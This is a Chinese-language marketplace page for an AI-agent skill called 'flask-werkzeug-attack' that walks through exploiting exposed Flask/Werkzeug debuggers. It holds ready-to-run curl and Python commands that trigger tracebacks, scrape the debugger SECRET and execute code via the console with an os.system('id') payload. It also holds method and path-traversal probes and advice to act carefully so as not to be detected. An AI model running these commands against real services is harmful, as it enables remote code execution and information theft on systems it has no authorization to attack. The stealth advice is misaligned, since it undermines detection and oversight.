mcpField
F
flask-werkzeug-attack

flask-werkzeug-attack

github.com/uphiago安全1.3k44 次安装8 周前更新
代码仓库

关于 flask-werkzeug-attack

用于识别和评估暴露的 Flask/Werkzeug 调试器页面的安全技能,指导测试人员检查信息泄露,并区分已启用与已禁用的控制台。

主要功能

  1. 01检测 Werkzeug 调试器页面
  2. 02检查回溯和服务器信息
  3. 03测试控制台状态后再尝试访问
  4. 04探测路径和 HTTP 方法
  5. 05考虑误报与日志记录

适用场景

  1. 01评估返回 HTTP 500 的 Flask 服务
  2. 02判断调试器控制台是否启用
  3. 03记录错误页面泄露的路径和框架信息

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/uphiago/recon-skills --skill flask-werkzeug-attack

安装后在 Claude Code 中输入/flask-werkzeug-attack确认已加载。

详细介绍

Flask/Werkzeug 调试器利用

启用 debug=True 的 Flask 应用会开启 Werkzeug 调试器,暴露堆栈跟踪,并可选择开启交互式 Python 控制台。调试器与 Flask 应用使用相同端口,并会在发生任何未处理异常时激活(HTTP 500)。

适用场景

  • 端口扫描发现非标准端口(8080、8081、8084、5000、8000 等)上有未知 HTTP 服务
  • API 端点返回带有 Flask/Werkzeug 错误页面的 HTTP 500
  • URL 资源(CSS、JS、PNG)中出现 ?__debugger__=yes 参数
  • 错误页面的 HTML 中包含 var CONSOLE_MODE、var EVALEX 或 SECRET=

前提条件

  • 可使用 curl 的 terminal
  • 生产环境中 debug=True 的 Flask API 服务(配置错误)
  • 能触发 HTTP 500 的端点(未处理异常)

快速检测

# Check if Werkzeug debugger is active — trigger an error
curl --max-time 30 --connect-timeout 10 -sk "https://target.com:PORT/sitemap.xml" 2>/dev/null | grep -oE "(Werkzeug|Debugger|SECRET|CONSOLE_MODE|EVALEX)" | head -5

# Try to trigger error on common paths
for path in "/error" "/500" "/test" "/debug" "/sitemap.xml" "/env" "/config"; do
  result=$(curl --max-time 30 --connect-timeout 10 -sk "https://target.com:PORT$path" 2>/dev/null)
  if echo "$result" | grep -q "Traceback\|Error\|Werkzeug"; then
    echo "TRIGGERED: $path"
    echo "$result" | grep -oE '(File|Error|SECRET|CONSOLE_MODE|EVALEX)[^<]*' | head -5
  fi
done

阶段 1 — 信息泄露

Werkzeug 调试器会暴露:

1a — 服务端路径(来自回溯)
File "/var/www/html/target-app-backend/venv/lib/python3.10/site-packages/flask/app.py"
File "/var/www/html/target-app-backend/venv/lib/python3.10/site-packages/flask_cors/extension.py"
File "/var/www/html/target-app-backend/venv/lib/python3.10/site-packages/..."
1b — 调试器 SECRET(来自 HTML)
<script>
  var CONSOLE_MODE = false,
      EVALEX = false,
      EVALEX_TRUSTED = false,
      SECRET="vYQ93K...8cww";
</script>
1c — 框架和语言版本
  • Flask 框架(Python 3.x)
  • flask_cors 扩展状态
  • 包含行号的完整调用栈
  • 源代码上下文(每个堆栈帧前后各 5 行)
1d — 提取完整代码上下文
import requests, re

resp = requests.get("https://target.com:PORT/ERROR_PATH", verify=False)
traceback = resp.text

# Extract all filenames from traceback frames
files = re.findall(r'File\s+\"([^\"]+)\"', traceback)
for f in files:
    print(f"  {f}")

# Extract source code snippets
sources = re.findall(r'<pre[^>]*class="source[^"]*"[^>]*>(.*?)</pre>', traceback, re.DOTALL)
for s in sources:
    clean = re.sub(r'<[^>]+>', '', s)
    print(clean[:200])

阶段 2 — 访问调试器控制台(RCE)

当 EVALEX=true 且 CONSOLE_MODE=true 时,Werkzeug 调试器控制台允许在服务端执行 Python 代码。

2a — 检查控制台状态
# The SECRET and console mode are in the HTML
curl --max-time 30 --connect-timeout 10 -sk "https://target.com:PORT/sitemap.xml" | grep -oE '(CONSOLE_MODE|EVALEX|EVALEX_TRUSTED|SECRET)="?[^"&;]+'
2b — 访问控制台(若已启用)

如果 EVALEX=true:

# Access the console
curl --max-time 30 --connect-timeout 10 -sk "https://target.com:PORT/console"

**信号检查:**如果 /console 返回 HTTP 400(而非 404),说明调试器已激活,但控制台已禁用。HTTP 404 表示完全没有调试器。返回 HTTP 200 且显示控制台界面,则表示可以进行 RCE。

如果 EVALEX=true:

# Execute Python commands (POST to the debugger endpoint)
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com:PORT/sitemap.xml?__debugger__=yes&cmd=e&s=SECRET" \
  -d "code=__import__('os').system('id')"

# Alternative: GET-based eval
curl --max-time 30 --connect-timeout 10 -sk "https://target.com:PORT/sitemap.xml?__debugger__=yes&cmd=eval&code=__import__('os').system('id')&s=SECRET"

**注意:**控制台端点可能要求使用特定方法(POST 或 GET);如果方法不正确,可能返回 HTTP 405。两种方法都要测试。

2c — 控制台已禁用时的处理方式

如果 EVALEX=false(生产环境中最常见),控制台会处于禁用状态,无法执行命令。不过:

  1. SECRET 仍然有价值——它可以确认动态调试器已激活
  2. 回溯仍会泄露信息——完整的服务端路径、框架版本、源代码上下文
  3. 查找 ?__debugger__=yes——这是调试器界面本身;如果能加载,说明调试器已部分激活
  4. 检查错误页面中的源代码——某些端点可能会返回完整的源代码上下文,无需使用控制台

阶段 3 — 目录/路径探测

除了触发错误的特定路径,还要探测其他可能泄露不同信息的端点:

# Path traversal in error generation
curl --max-time 30 --connect-timeout 10 -sk "https://target.com:PORT/path/to/../sitemap.xml"

# Test various HTTP methods
curl --max-time 30 --connect-timeout 10 -sk -X OPTIONS "https://target.com:PORT/sitemap.xml"
curl --max-time 30 --connect-timeout 10 -sk -X PUT "https://target.com:PORT/sitemap.xml"
curl --max-time 30 --connect-timeout 10 -sk -X DELETE "https://target.com:PORT/sitemap.xml"

# Check if error page returns CORS headers
curl --max-time 30 --connect-timeout 10 -sk -D- "https://target.com:PORT/sitemap.xml" | grep -i access-control

注意事项

  • **EVALEX=false 表示无法通过控制台执行 RCE。**控制台模式已禁用时,不要浪费时间尝试执行代码。
  • **仅有 SECRET 还不够。**即使 SECRET 正确,也必须启用控制台才能执行代码。
  • **并非所有 HTTP 500 页面都是 Werkzeug 页面。**没有 HTML 格式,或仅返回 JSON 的普通 Flask 错误页面,都不是 Werkzeug 调试器页面。调试器有独特的蓝色主题 HTML 页面,带有可折叠的回溯帧和源代码上下文。
  • **调试器可能受 CORS 限制。**检查 Access-Control-Allow-Origin 标头——如果调试器页面允许 CORS 通配符来源,攻击者控制的网站就可以通过 fetch() 读取 SECRET 和回溯内容。
  • **触发错误会留下日志。**每次请求调试器页面都会在服务端日志中生成一条 500 错误记录。请谨慎操作,以免被发现。

验证

  1. 技能完整性——确认技能文件格式正确: FAIL FAIL 所有测试都会验证技能结构是否正确。

相关技能

  • hunt-rce — 通用 RCE 搜寻;启用了控制台的 Werkzeug 会导致 RCE
  • hunt-python — Python 专项漏洞搜寻
  • js-secrets-extraction — 查找可能可用于 Flask API 的 API 密钥
  • source-leak-hunt — 查找可能包含 Flask SECRET_KEY 的 .env 和配置文件
  • cache-attack — 通过 Werkzeug 错误页面进行缓存投毒(如果 CDN 缓存了 500 响应)

评论

支持 Markdown